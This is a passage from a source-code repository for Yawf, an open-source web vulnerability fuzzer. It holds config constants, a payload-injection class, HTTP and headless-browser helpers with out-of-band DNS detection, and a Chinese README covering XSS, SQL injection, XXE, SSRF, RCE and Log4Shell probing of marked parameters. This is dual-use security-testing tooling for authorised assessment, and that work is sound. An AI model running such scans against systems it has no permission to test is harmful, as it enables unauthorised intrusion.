Driver.*DB2", r"DB2 SQL error", r"\bdb2_\w+\("), 35 | "Microsoft Access": (r"Microsoft Access Driver", r"JET Database Engine", r"Access Database Engine"), 36 | "Sybase": (r"(?i)Warning.*sybase.*", r"Sybase message", r"Sybase.*Server message.*"), 37 | } 38 | 39 | DIFF_THRESHOLD = 0.95 40 | 41 | REQ_TIMEOUT = 30.0 42 | 43 | REQ_SCHEME = 'https' 44 | 45 | PROBE = 'xss' 46 | 47 | PLATFORM = 'linux' 48 | 49 | EFFICIENCY_CONF = { 50 | # 自动标记忽略的参数 51 | 'ignore_params': { 52 | '_', 53 | 'sid', 54 | 's_id', 55 | 'session', 56 | 'session_id', 57 | 'sessionid', 58 | 'sessionId', 59 | 'session_key', 60 | 'session_token', 61 | 'session_var', 62 | 'auth_token', 63 | 'auth_key', 64 | 'auth_session_id', 65 | 'auth_id', 66 | 'remember_me', 67 | 'rememberMe', 68 | 'csrftoken', 69 | 'csrf_token', 70 | 'CSRFToken', 71 | 'access_token', 72 | 'authentication_token', 73 | 'timestamp', 74 | 'JSESSIONID', 75 | 'PHPSESSID', 76 | 'ASPSESSIONID' 77 | }, 78 | # 本地和远程资源参数(包含匹配) 79 | 'local_and_remote_resource_params' : { 80 | 'file', 81 | 'path', 82 | 'dir', 83 | 'src', 84 | 'dest', 85 | 'target', 86 | 'redirect', 87 | 'folder', 88 | 'source', 89 | 'link', 90 | 'url', 91 | 'api' 92 | }, 93 | # 敏感信息关键词 94 | 'sens_info_keywords': { 95 | 'username', 96 | 'birthday', 97 | 'employer', 98 | 'income', 99 | 'address', 100 | 'home_address', 101 | 'phone', 102 | 'phone_number', 103 | 'email', 104 | 'email_address', 105 | 'id_card', 106 | 'passport', 107 | 'passport_number', 108 | 'uid', 109 | 'account', 110 | 'password', 111 | 'passwd', 112 | 'account_balance', 113 | 'transaction_records', 114 | 'payment_information', 115 | 'bank_account', 116 | 'bank_account_number', 117 | 'credit_card', 118 | 'credit_card_number', 119 | 'alipay_account', 120 | 'wechat_pay_account' 121 | } 122 | } 123 | -------------------------------------------------------------------------------- /core/probe.py: -------------------------------------------------------------------------------- 1 | import copy 2 | import json 3 | from xml.etree import ElementTree as ET 4 | 5 | from utils.constants import MARK_POINT, EFFICIENCY_CONF 6 | from utils.utils import get_content_type 7 | 8 | class Probe: 9 | def __init__(self, request, browser, base_http, probes_payload, oob_detector, fuzz_results, flag): 10 | self.request = request 11 | self.browser = browser 12 | self.base_http = base_http 13 | self.probes_payload = probes_payload 14 | self.oob_detector = oob_detector 15 | self.fuzz_results = fuzz_results 16 | self.direct_use_payload_flag = flag 17 | 18 | content_type = base_http.get('request').get('headers').get('content-type', '') 19 | if 'json' in content_type: 20 | self.content_type = 'json' 21 | elif 'xml' in content_type: 22 | self.content_type = 'xml' 23 | elif 'form' in content_type: 24 | self.content_type = 'form' 25 | else: 26 | self.content_type = '' 27 | 28 | def gen_payload_request(self, payload, reserve_original_params=False, direct_use_payload=False): 29 | """ 30 | 生成带 payload 的 request 对象 31 | reserve_original_params:保留原始参数值,默认 False。用于 sqli 探针 32 | direct_use_payload:直接使用 payload,默认 False。用于 fastjson 探针,减少重复测试 33 | """ 34 | 35 | payload_request = copy.deepcopy(self.request) 36 | for k, v in payload_request.items(): 37 | if k not in ('params', 'data', 'cookies', 'headers') or not v: 38 | continue 39 | if type(v) is str: 40 | # data 为 xml 编码数据 41 | if MARK_POINT in v: 42 | payload_request[k] = v.replace(MARK_POINT, payload) 43 | break 44 | else: 45 | break_status = False 46 | for kk, vv in v.items(): 47 | if (type(vv) is not str) or (MARK_POINT not in vv): 48 | continue 49 | if direct_use_payload: 50 | # 直接使用 payload 51 | if k == 'params': 52 | payload_request[k][kk] = payload 53 | self.direct_use_payload_flag[k][kk] = True 54 | if k == 'data': 55 | payload_request[k] = payload 56 | self.direct_use_payload_flag[k] = True 57 | else: 58 | if k == 'params' and get_content_type(vv) == 'json': 59 | # GET xxx.php?foo={"a":"b","c":"d"}&bar={"aa":"bb"} 60 | val_dict = json.loads(payload_request[k][kk]) 61 | base_val_dict = json.loads(self.base_http.get('request')[k][kk]) 62 | for kkk, vvv in val_dict.items(): 63 | if (type(vvv) is not str) or (MARK_POINT not in vvv): 64 | continue 65 | base_val_dict[kkk] = payload if not reserve_original_params else (base_val_dict[kkk] + payload) 66 | payload_request[k][kk] = json.dumps(base_val_dict) 67 | break 68 | else: 69 | payload_request[k][kk] = payload if not reserve_original_params else vv.replace(MARK_POINT, payload) 70 | break_status = True 71 | break 72 | if break_status: 73 | break 74 | 75 | return payload_request 76 | 77 | def is_resource_param(self): 78 | """ 79 | 检查标记的字段名称是否为资源相关参数,用于判断是否执行某些特定探针(如:dt、ssrf等)。 80 | """ 81 | 82 | # 本地和远程资源参数集合(包含匹配) 83 | local_and_remote_resource_params = EFFICIENCY_CONF.get('local_and_remote_resource_params') 84 | if any(param in self._get_mark_field_name().lower() for param in local_and_remote_resource_params): 85 | return True 86 | return False 87 | 88 | def _get_mark_field_name(self): 89 | """ 90 | 获取标记位置对应的字段名称。 91 | 分别从查询字符串、Cookie、POST Body和请求头处查找。 92 | """ 93 | 94 | # 查询字符串 95 | for par, val in self.request.get('params').items(): 96 | if type(val) is not str or MARK_POINT not in val: 97 | continue 98 | 99 | if get_content_type(val) == 'json': 100 | val_dict = json.loads(val) 101 | for d_par, d_val in val_dict.items(): 102 | if type(d_val) is str and MARK_POINT in d_val: 103 | return d_par 104 | else: 105 | return par 106 | 107 | # Cookie 108 | for name, value in self.request.get('cookies').items(): 109 | if type(value) is str and MARK_POINT in value: 110 | return name 111 | 112 | # POST Body 113 | if type(self.request.get('data')) is str: 114 | # xml 115 | if MARK_POINT in self.request.get('data'): 116 | xmlTree = ET.fromstring(self.request.get('data')) 117 | for elem in xmlTree.iter(): 118 | if elem.text and MARK_POINT in elem.text: 119 | return elem.tag 120 | else: 121 | # form、json 122 | for field, value in self.request.get('data').items(): 123 | if type(value) is str and MARK_POINT in value: 124 | return field 125 | 126 | # 请求头 127 | for header, value in self.request.get('headers').items(): 128 | if type(value) is str and MARK_POINT in value: 129 | return header 130 | 131 | return '' 132 | -------------------------------------------------------------------------------- /utils/utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import random 3 | import json 4 | import re 5 | import sys 6 | import time 7 | import threading 8 | import itertools 9 | from configparser import ConfigParser 10 | from difflib import SequenceMatcher 11 | from xml.etree import ElementTree as ET 12 | from typing import Dict, Any 13 | 14 | import requests 15 | import esprima 16 | from requests.auth import HTTPDigestAuth 17 | from requests_ntlm2 import HttpNtlmAuth 18 | from playwright.sync_api import sync_playwright 19 | 20 | # 忽略 SSL 告警信息 21 | try: 22 | from requests.packages import urllib3 23 | urllib3.disable_warnings() 24 | except Exception: 25 | pass 26 | 27 | class Spinner: 28 | def __init__(self, msg): 29 | self.msg = msg 30 | self.spinner = itertools.cycle(['-', '\\', '|', '/']) 31 | self.running = False 32 | self.spinner_thread = None 33 | 34 | def spin(self): 35 | while self.running: 36 | sys.stdout.write('\r' + self.msg + ' ' + next(self.spinner)) 37 | sys.stdout.flush() 38 | time.sleep(0.1) 39 | 40 | def start(self): 41 | self.running = True 42 | self.spinner_thread = threading.Thread(target=self.spin) 43 | self.spinner_thread.daemon = True 44 | self.spinner_thread.start() 45 | 46 | def stop(self): 47 | self.running = False 48 | self.spinner_thread.join() 49 | sys.stdout.write('\r') 50 | sys.stdout.flush() 51 | 52 | class PlaywrightDriver: 53 | def __init__(self, proxies, user_agent): 54 | self.playwright = sync_playwright().start() 55 | 56 | launch_args = [ 57 | '--no-sandbox', 58 | '--disable-dev-shm-usage', 59 | '--disable-extensions', 60 | '--disable-xss-auditor', 61 | '--disable-gpu' 62 | ] 63 | 64 | proxy_config = {"server": proxies['http']} if proxies else None 65 | 66 | self.browser = self.playwright.chromium.launch( 67 | headless=True, 68 | args=launch_args, 69 | proxy=proxy_config 70 | ) 71 | 72 | self.context = self.browser.new_context( 73 | user_agent=user_agent, 74 | ignore_https_errors=True 75 | ) 76 | 77 | self.page = self.context.new_page() 78 | 79 | # 拦截不必要的资源请求 80 | self.page.route("**/*", lambda route, request: self._handle_route(route, request)) 81 | 82 | def _handle_route(self, route, request): 83 | excluded_resource_types = ["image", "media", "font", "stylesheet"] 84 | if request.resource_type in excluded_resource_types: 85 | route.abort() 86 | else: 87 | route.continue_() 88 | 89 | def quit(self): 90 | self.context.close() 91 | self.browser.close() 92 | self.playwright.stop() 93 | 94 | class Browser: 95 | def __init__(self, proxies, user_agent): 96 | self.proxies = proxies 97 | self.user_agent = user_agent 98 | 99 | def run(self): 100 | return PlaywrightDriver(self.proxies, self.user_agent) 101 | 102 | class OOBDetector: 103 | def __init__(self, provider, proxies, timeout, id=None, token=None): 104 | self.provider = provider 105 | self.proxies = proxies 106 | self.timeout = timeout 107 | 108 | if provider == 'dnslog': 109 | self.req_session = requests.Session() 110 | url = "http://www.dnslog.cn/getdomain.php" 111 | req = self.req_session.get(url, proxies=self.proxies, timeout=self.timeout) 112 | self.domain = req.text 113 | elif provider == 'ceye': 114 | self.domain = id 115 | self.token = token 116 | 117 | def pull_logs(self, filter=None): 118 | if self.provider == 'dnslog': 119 | url = "http://www.dnslog.cn/getrecords.php" 120 | req = self.req_session.get(url, proxies=self.proxies, timeout=self.timeout) 121 | 122 | return req.json() 123 | elif self.provider == 'ceye': 124 | # 字符串 filter 最大长度为 20 个字符 125 | url = f"http://api.ceye.io/v1/records?token={self.token}&type=dns&filter={filter}" 126 | req = requests.get(url, proxies=self.proxies, timeout=self.timeout) 127 | 128 | return req.json().get('data') 129 | 130 | def check_file(filename): 131 | """ 132 | 检查文件是否存在和可读 133 | """ 134 | 135 | valid = False 136 | 137 | if os.path.isfile(filename) and os.access(filename, os.R_OK): 138 | valid = True 139 | 140 | return valid 141 | 142 | def get_default_headers(): 143 | """ 144 | 获取默认请求头 145 | 返回区分大小写的常规 dict 类型,且请求头名称为小写 146 | """ 147 | 148 | case_sensitive_dict = requests.utils.default_headers() 149 | normal_plain_dict = dict((k.lower(), v) for k, v in case_sensitive_dict.items()) 150 | 151 | return normal_plain_dict 152 | 153 | def send_request( 154 | request: Dict[str, Any], 155 | require_response_header: bool = False 156 | ) -> Dict[str, Any]: 157 | """ 158 | 发送 HTTP 请求 159 | 160 | 参数: 161 | request: 请求配置字典 162 | require_response_header: 是否返回响应头 163 | 164 | 返回: 165 | 包含请求、响应、状态码等信息的字典 166 | """ 167 | 168 | response, headers, status, json_data, data_data, auth = (None,)*6 169 | # 处理 POST 请求数据 170 | if request['method'] == 'POST': 171 | content_type = request['headers'].get('content-type', '') 172 | if 'json' in content_type: 173 | json_data = request['data'] if not isinstance(request['data'], str) else json.loads(request['data']) 174 | else: 175 | data_data = request['data'] 176 | 177 | # 处理认证信息 178 | if request['auth']: 179 | username, password = request['auth']['auth_cred'].split(':', 1) 180 | auth_type = request['auth']['auth_type'] 181 | 182 | auth_methods = { 183 | 'Basic': lambda: (username, password), 184 | 'Digest': lambda: HTTPDigestAuth(username, password), 185 | 'NTLM': lambda: HttpNtlmAuth(username, password) 186 | } 187 | 188 | auth = auth_methods.get(auth_type, lambda: None)() 189 | 190 | try: 191 | rsp = requests.request(request['method'], request['url'], 192 | params=request['params'], 193 | headers=request['headers'], 194 | cookies=request['cookies'], 195 | proxies=request['proxies'], 196 | data=data_data, 197 | json=json_data, 198 | auth=auth, 199 | timeout=request['timeout'], 200 | verify=False, 201 | allow_redirects=False) 202 | response = rsp.text 203 | headers = rsp.headers if require_response_header else None 204 | status = rsp.status_code 205 | except requests.exceptions.Timeout as e: 206 | print(f'[*] WARN : request timeout : {str(e)}') 207 | except requests.exceptions.ConnectionError as e: 208 | print(f'[*] WARN : connection error : {str(e)}') 209 | except requests.exceptions.TooManyRedirects as e: 210 | print(f'[*] WARN : too many redirects : {str(e)}') 211 | except requests.exceptions.HTTPError as e: 212 | print(f'[*] WARN : HTTP error : {str(e)}') 213 | except requests.exceptions.RequestException as e: 214 | print(f'[*] WARN : request error : {str(e)}') 215 | except Exception as e: 216 | print(f'[*] ERROR : unexpected error : {str(e)}') 217 | 218 | return { 219 | 'request': request, 220 | 'response': response, 221 | 'headers': headers, 222 | 'status': status 223 | } 224 | 225 | def parse_conf(file): 226 | """ 227 | 解析配置文件,将配置数据存储在内存中 228 | 通过 conf_dict[section_option] 获取配置项的值 229 | """ 230 | 231 | conf_dict = {} 232 | 233 | try: 234 | conf = ConfigParser() 235 | conf.read(file, encoding='utf-8') 236 | for section in conf.sections(): 237 | for option in conf.options(section): 238 | conf_dict[f'{section}_{option}'] = conf.get(section, option) 239 | except Exception: 240 | pass 241 | 242 | return conf_dict 243 | 244 | def read_file(file): 245 | """ 246 | 逐行读取文件内容到 list,忽略 # 开头行和空白行 247 | """ 248 | 249 | lines = [] 250 | 251 | with open(file, 'r', encoding='utf-8') as f: 252 | lines = [line.strip() for line in f if not line.startswith('#') and line != '\n'] 253 | 254 | return lines 255 | 256 | def similar(str1, str2): 257 | """ 258 | 比较字符串 str1 和 str2 的相似度 259 | """ 260 | 261 | return SequenceMatcher(None, str1, str2).quick_ratio() 262 | 263 | def get_random_str(length): 264 | """ 265 | 生成指定长度的随机字符串 266 | """ 267 | 268 | return ''.join(random.choice('0123456789abcdefghijklmnopqrstuvwxyz') for _ in range(length)) 269 | 270 | def get_content_type(content): 271 | """ 272 | 获取字符串内容类型,支持 x-www-form-urlencoded、json 和 xml 三种类型 273 | """ 274 | 275 | ct = '' 276 | 277 | try: 278 | # 整数、浮点数和布尔值都是有效 json 格式,这里只处理由键值对组成的 json 279 | d = json.loads(content) 280 | if type(d) is dict: 281 | ct = 'json' 282 | except ValueError: 283 | try: 284 | ET.fromstring(content) 285 | ct = 'xml' 286 | except ET.ParseError: 287 | if re.search(r"^[A-Za-z0-9_]+=[^=]+", content): 288 | ct = 'form' 289 | 290 | return ct 291 | 292 | def is_base64(string): 293 | """ 294 | 校验字符串是否为 Base64 编码 295 | 不可能真正校验字符串是否为 Base64 编码,只能根据字符串是否符合 Base64 数据格式和长度大致猜测 296 | """ 297 | 298 | is_b64 = False 299 | 300 | regex = r"^([A-Za-z0-9\-_]{4})*([A-Za-z0-9\-_]{3}=|[A-Za-z0-9\-_]{2}==)?$" 301 | if re.search(regex, string) and len(string) > 20: 302 | is_b64 = True 303 | 304 | return is_b64 305 | 306 | def get_jsonp_keys(jsonp): 307 | """ 308 | 递归获取 jsonp 参数中所有的键名,用于敏感数据检测。 309 | 如: 310 | callback({"username":"admin"}); // username 311 | callback({"data": {username:"admin"}}); // data, username 312 | """ 313 | 314 | def get_keys(node): 315 | result = [] 316 | if isinstance(node, esprima.nodes.ObjectExpression): 317 | for property in node.properties: 318 | if isinstance(property.key, esprima.nodes.Identifier): 319 | result.append(property.key.name) 320 | elif isinstance(property.key, esprima.nodes.Literal): 321 | result.append(property.key.value) 322 | result += get_keys(property.value) 323 | elif isinstance(node, esprima.nodes.Node): 324 | for _, value in node.items(): 325 | result += get_keys(value) 326 | elif isinstance(node, list): 327 | for item in node: 328 | result += get_keys(item) 329 | return result 330 | 331 | ast_obj = esprima.parse(jsonp) 332 | 333 | return list(get_keys(ast_obj)) 334 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | ## Yawf - Yet Another Web Fuzzer 2 | 3 | **Yawf** 是一个开源的 Web 漏洞自动化检测工具,先通过自动发现或手动标记的方式圈出全部测试点,然后逐一对每个测试点使用漏洞探针进行检测,全面和高效地发现常见 Web 漏洞,包括:XSS、SQL injection、XXE、SSRF、Directory traversal、Log4Shell、RCE、Open Redirect 和 JSONP 敏感信息泄露等。 4 | 5 | ⭐ 入选 KCon 2024 [兵器谱](https://kcon.knownsec.com/index.php?s=bqp&c=category&id=3) 6 | 7 | ### 特性 8 | 9 | 1. 支持检测动态 URL 和 HTTP Request 文件目标对象; 10 | 2. 支持手动和自动标记测试点,标记范围覆盖查询字符串、Cookie、POST Body和请求头; 11 | 3. 支持 GET 和 POST 请求,以及 form、json 和 xml 数据类型; 12 | 4. 支持 HTTP Basic/Digest/NTLM 认证; 13 | 5. 支持对测试目标进行并行(多进程)检测; 14 | 6. 容易扩展,探针模块化且和 Payload 文件分离,提供统一运行接口; 15 | 7. 支持信息收集功能以及使用大模型对收集的信息进行智能分析; 16 | 8. 支持设置 HTTP 网络代理; 17 | 9. 支持 ceye 和 dnslog 两种带外(Out-of-Band)检测服务; 18 | 10. 高度可配置化,简单配置实现定制需求; 19 | 11. 支持对批量 URL 进行检测,结果输出到指定目录。 20 | 21 | ### 漏洞探针 22 | 23 | 1. **xss** - 跨站脚本探针 24 | 2. **sqli** - SQL 注入探针 25 | 3. **dt** - 目录遍历探针 26 | 4. **fastjson** - Fastjson 探针(探测目标是否使用 Fastjson 组件) 27 | 5. **log4shell** - Log4Shell 探针 28 | 6. **xxe** - XXE 探针 29 | 7. **ssrf** - SSRF 探针 30 | 8. **jsonp** - JSONP 探针 31 | 9. **rce** - RCE 探针 32 | 10. **redirect** - Open Redirect 探针 33 | 34 | ### 安装 35 | 36 | 推荐使用 `uv` 进行依赖管理和运行。 37 | 38 | ```console 39 | $ git clone https://github.com/phplaber/yawf.git 40 | $ cd yawf 41 | $ uv sync 42 | $ uv version 43 | ``` 44 | 45 | 在正式使用前,建议先执行信息收集脚本,获取目标信息,如:服务状态、是否部署 Waf、Web Server、框架/脚本语言、端口信息、SSL 证书信息和 DNS 记录等,以制定扫描策略。同时,也可以配置使用大模型对收集的信息进行智能分析,为下一步测试工作提供指导建议。 46 | 47 | ```console 48 | $ uv run getinfo.py -h 49 | 50 | Usage: getinfo.py [options] 51 | 52 | + Get infomation of target + 53 | 54 | Options: 55 | -h, --help show this help message and exit 56 | -u URL, --url=URL Target URL(e.g. "http://www.target.com") 57 | -t TIMEOUT, --timeout=TIMEOUT 58 | Port scan timeout (s) 59 | --req-timeout=REQ_TIMEOUT 60 | HTTP request timeout (s) 61 | ``` 62 | 63 | 由于 Yawf 在检测 XSS 漏洞时,使用了 headless Chrome,所以需预先安装浏览器环境。 64 | 65 | Yawf 使用 [Playwright](https://playwright.dev/python/) 驱动浏览器,相比传统的 Selenium + WebDriver 方式,Playwright 更加稳定且无需手动管理驱动版本。运行命令安装 Chromium 浏览器: 66 | 67 | ```console 68 | $ uv run playwright install chromium 69 | ``` 70 | 71 | 接着,调整配置文件,配置项见下文「配置」章节。然后,就可以使用 Yawf 进行漏洞检测了。 72 | 73 | ```console 74 | $ cp yawf.conf.sample yawf.conf 75 | $ uv run yawf.py -h 76 | 77 | _____.___. _____ __ _____________ 78 | \__ | | / _ \/ \ / \_ _____/ 79 | / | |/ /_\ \ \/\/ /| __) 80 | \____ / | \ / | \ 81 | / ______\____|__ /\__/\ / \___ / 82 | \/ \/ \/ \/ 83 | 84 | (3.0.0) 85 | Automated Web Vulnerability Fuzzer 86 | Created by yns0ng (@phplaber) 87 | 88 | Usage: yawf.py [options] 89 | 90 | Options: 91 | -h, --help show this help message and exit 92 | -u URL, --url=URL Target URL (e.g. 93 | "http://www.target.com/page.php?id=1") 94 | -m METHOD HTTP method, default: GET (e.g. POST) 95 | -d DATA Data string to be sent through POST (e.g. "id=1") 96 | -c COOKIES HTTP Cookie header value (e.g. "PHPSESSID=a8d127e..") 97 | --headers=HEADERS Extra headers (e.g. "Accept-Language: fr\nETag: 123") 98 | --auth-type=AUTH_TYPE 99 | HTTP authentication type (Basic, Digest, NTLM) 100 | --auth-cred=AUTH_CRED 101 | HTTP authentication credentials (user:pass) 102 | -f REQUESTFILE Load HTTP request from a file 103 | --output-dir=OUTPUT_DIR 104 | Custom output directory path 105 | --probe-list List of available probes 106 | --oob-provider=OOB_PROVIDER 107 | Out-of-Band service provider, default: ceye (e.g. 108 | dnslog) 109 | ``` 110 | 111 | ### 使用 112 | 113 | #### 配置 114 | 115 | 拷贝配置样例文件 **yawf.conf.sample**,并重命名为 **yawf.conf**。根据自身需求,修改 **yawf.conf** 配置文件中配置项,如:网络代理、scheme 和探针等。 116 | 117 | - 在 **proxy** 项中配置网络代理服务器,如:127.0.0.1:8080,在调试 payload 的时候很有用; 118 | 119 | - **scheme** 需和 **-f** 选项配合使用,默认是 https; 120 | 121 | - 在 **timeout** 项中配置请求超时时间,支持小数,单位为秒,默认是 30 秒; 122 | 123 | - 在 **user_agent** 项中配置自定义 UA,若留空,则使用默认 UA; 124 | 125 | - 在 **customize** 项中配置自定义探针,多个探针需使用英文逗号分隔,探针名称见上述列表。为方便起见,可配置 all 关键字开启全部探针。如果 **customize** 项为空,则使用 **default** 项中配置的探针。如果 **default** 项也为空,最终兜底的为 xss 探针; 126 | 127 | - 在 **id** 项中配置 ceye.io 平台分配的 Identifier;在 **token** 项中配置 ceye.io 平台分配的 API Token。在登录 ceye.io 平台后,在 Profile 页面可以看到这两项的内容。默认使用 ceye 带外服务,获得更稳定的服务; 128 | 129 | - 在 **model** 项中配置大模型名称,如:deepseek-chat;在 **base_url** 和 **api_key** 项分别配置大模型基础 URL 和大模型 API 调用凭证。并将 **status** 项配置为 enable,即可使用大模型进行智能分析; 130 | 131 | - 在 **platform** 项中配置测试目标运行平台操作系统,默认是 Linux。在遇到特定平台的 payload 时,Yawf 会依据该配置进行针对性的测试,减少无效网络请求; 132 | 133 | 此外,常量 **EFFICIENCY_CONF** 中的 **ignore_params**、**local_and_remote_resource_params** 和 **sens_info_keywords** 分别预置了自动标记忽略的参数、本地和远程资源参数以及敏感信息关键词,用于检测 JSONP 敏感信息泄露漏洞。上述三个字段中的内容都可以按需修改。通过这种处理方式,可以减少很多无效请求,大大提高检测效率。 134 | 135 | #### 标记 136 | 137 | Yawf 支持手动和自动标记测试点,支持查询字符串、Cookie、POST Body和请求头处标记。 138 | 139 | 当需要测试某个单独的输入点时,仅需在参数值后手动标记 **[fuzz]**,Yawf 就只会对该位置进行检测。注意,手动标记需保留原始参数值。在真正进行 PoC 测试时,Yawf 会根据探针类型灵活的选择是否保留原始参数值。 140 | 141 | ``` 142 | http://test.sqlilab.local/Less-1/?id=3[fuzz] 143 | ``` 144 | 145 | 也可以手动标记 HTTP Request 文件中的输入点,该文件内容可以通过 Live HTTP Headers 或 Burp Suite 获取到。 146 | 147 | ``` 148 | GET /Less-1/?id=3[fuzz] HTTP/1.1 149 | Host: test.sqlilab.local 150 | User-Agent: Yawf v2.0 151 | Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 152 | Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 153 | Accept-Encoding: gzip, deflate 154 | Connection: keep-alive 155 | Upgrade-Insecure-Requests: 1 156 | ``` 157 | 如果想要尽可能全面的检测输入点,则不要手动标记,Yawf 会智能的在所有满足条件的地方自动标记。 158 | 159 | 支持标记的位置如下: 160 | 161 | 1. **查询字符串** 162 | - `?par1=val1&par2=val2[fuzz]`,常规查询字符串数据格式 163 | - `?par1={"foo":"bar[fuzz]"}`,参数值为 json 编码数据格式,支持对 json 中的字符串值标记 164 | - `?par1={"foo":"bar[fuzz]"}&par2=val2[fuzz]`,组合形式 165 | 2. **Cookie** 166 | - `k1=v1[fuzz]; k2=v2[fuzz]`,常规键值对数据格式 167 | 3. **POST Body** 168 | - `par1=val1&par2=val2[fuzz]`,常规 form 编码数据格式 169 | - `{"par1":"val1","par2":"val2[fuzz]"}`,json 编码数据格式,支持对 json 中的字符串值标记 170 | - `val1[fuzz]`,xml 编码数据格式 171 | 4. **请求头**(目前只支持 Referer 和 User-Agent) 172 | - `Referer: url[fuzz]`,字符串数据格式 173 | - `User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36[fuzz]`,字符串数据格式 174 | 175 | 同时需注意,在自动标记模式下,参数是否被标记还受 **ignore_params** 影响。 176 | 177 | #### 运行脚本 178 | 179 | 设置必要的参数,运行 **yawf.py** 脚本,等待脚本运行结束。一旦 Yawf 发现疑似漏洞,如果选项 **--output-dir** 传入目录路径,则将漏洞详情写入该目录下按时间戳命名的文件里,否则,写入和脚本同级的 output 目录下文件,文件同样按时间戳命名。如果目录不存在,Yawf 会安全的创建。 180 | 181 | 漏洞详情包括标记过的 request 对象、payload、触发漏洞的 request 对象以及漏洞类型。 182 | 183 | ```json 184 | { 185 | "request": { 186 | "url": "http://testphp.vulnweb.com/listproducts.php", 187 | "method": "GET", 188 | "params": { 189 | "cat": "[fuzz]" 190 | }, 191 | "proxies": { 192 | 193 | }, 194 | "cookies": { 195 | 196 | }, 197 | "headers": { 198 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 199 | "accept-encoding": "gzip, deflate", 200 | "accept": "*/*", 201 | "connection": "keep-alive" 202 | }, 203 | "data": { 204 | 205 | }, 206 | "auth": { 207 | 208 | }, 209 | "timeout": 30.0 210 | }, 211 | "payload": "", 212 | "poc": { 213 | "url": "http://testphp.vulnweb.com/listproducts.php", 214 | "method": "GET", 215 | "params": { 216 | "cat": "" 217 | }, 218 | "proxies": { 219 | 220 | }, 221 | "cookies": { 222 | 223 | }, 224 | "headers": { 225 | "user-agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36", 226 | "accept-encoding": "gzip, deflate", 227 | "accept": "*/*", 228 | "connection": "keep-alive" 229 | }, 230 | "data": { 231 | 232 | }, 233 | "auth": { 234 | 235 | }, 236 | "timeout": 30.0 237 | }, 238 | "type": "XSS" 239 | } 240 | ``` 241 | 242 | #### 运行批量检测脚本 243 | 244 | 在使用浏览器爬虫工具(如:[flamingo](https://github.com/phplaber/flamingo) 等)爬取了一批完整请求对象并生成特定 json 文件后,运行 ****yawf_bulk.py**** 脚本进行批量检测。json 文件格式如下: 245 | 246 | ```json 247 | [ 248 | { 249 | "method":"POST", 250 | "url":"http://testphp.vulnweb.com/search.php", 251 | "headers":{ 252 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 253 | "Content-Type":"application/x-www-form-urlencoded", 254 | "Cookie":"login=test%2Ftest", 255 | "Origin":"http://testphp.vulnweb.com", 256 | "Referer":"http://testphp.vulnweb.com/", 257 | "Upgrade-Insecure-Requests":"1", 258 | "User-Agent":"Rad v0.4 crawler" 259 | }, 260 | "data":"Z29CdXR0b249Z28mc2VhcmNoRm9yPTE=" 261 | }, 262 | { 263 | "method":"GET", 264 | "url":"http://testphp.vulnweb.com/artists.php?artist=1", 265 | "headers":{ 266 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 267 | "Upgrade-Insecure-Requests":"1", 268 | "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 269 | }, 270 | "data":"" 271 | }, 272 | { 273 | "method":"GET", 274 | "url":"http://testphp.vulnweb.com/listproducts.php?artist=1", 275 | "headers":{ 276 | "Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", 277 | "Upgrade-Insecure-Requests":"1", 278 | "User-Agent":"Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36" 279 | }, 280 | "data":"" 281 | } 282 | ] 283 | ``` 284 | 285 | 使用 -f 选项传入 json 文件路径,就可以批量检测漏洞了。批量检测不支持手动标记。 286 | 287 | ![bulk](./data/bulk_poc.jpeg "bulk scanning") 288 | 289 | #### 新增探针 290 | 291 | 由于 Yawf 的探针模块化且和 Payload 文件分离,所以新增探针非常容易。 292 | 293 | 1. 如果探针检测漏洞需要使用 payload,则在 **payload** 目录下新增同名文件,如:**demo.txt**,文件中每行一个 payload; 294 | 2. 在 **probes** 目录下新增同名探针文件,如:**demo.py**,并实现 **run** 函数,函数参数为 **Probe** 类实例; 295 | 3. 当需要使用新增探针时,在配置文件的 **customize** 项中配置新增的探针,如:**demo**。 296 | 297 | 以下是新增探针的简要说明,具体可参考 **probes** 目录下的探针: 298 | 299 | ```python 300 | # demo.py 301 | from utils.utils import send_request 302 | from core.probe import Probe 303 | 304 | def run(probe_ins: Probe) -> None: 305 | # 实现跳过检测逻辑 306 | if need_skip_detect: 307 | print("[*] DEMO detection skipped") 308 | return 309 | 310 | # 逐一使用 payload 进行检测 311 | for payload in probe_ins.probes_payload['demo']: 312 | # 生成 payload 请求对象 313 | payload_request = probe_ins.gen_payload_request(payload) 314 | 315 | # 发送请求 316 | response = send_request(payload_request) 317 | 318 | # 分析结果 319 | # 有回显,分析响应内容判断漏洞是否存在 320 | # 无回显,使用带外检测判断漏洞是否存在 321 | 322 | # 如果检测到漏洞,则将漏洞信息写入结果队列,并退出循环 323 | if vulnerable: 324 | probe_ins.fuzz_results.put({ 325 | 'request': probe_ins.request, 326 | 'payload': payload, 327 | 'poc': payload_request, 328 | 'type': 'DEMO' 329 | }) 330 | break 331 | ``` 332 | 333 | 至此,Yawf 的使用就结束了。后续就是人工介入,确认漏洞是否存在、等级,然后进入漏洞处置流程。 334 | 335 | ### 声明 336 | 337 | 此工具仅用于企业安全人员评估自身企业资产的安全风险,或有合法授权的安全测试,请勿用于其他用途,如有,后果自负。 338 | -------------------------------------------------------------------------------- 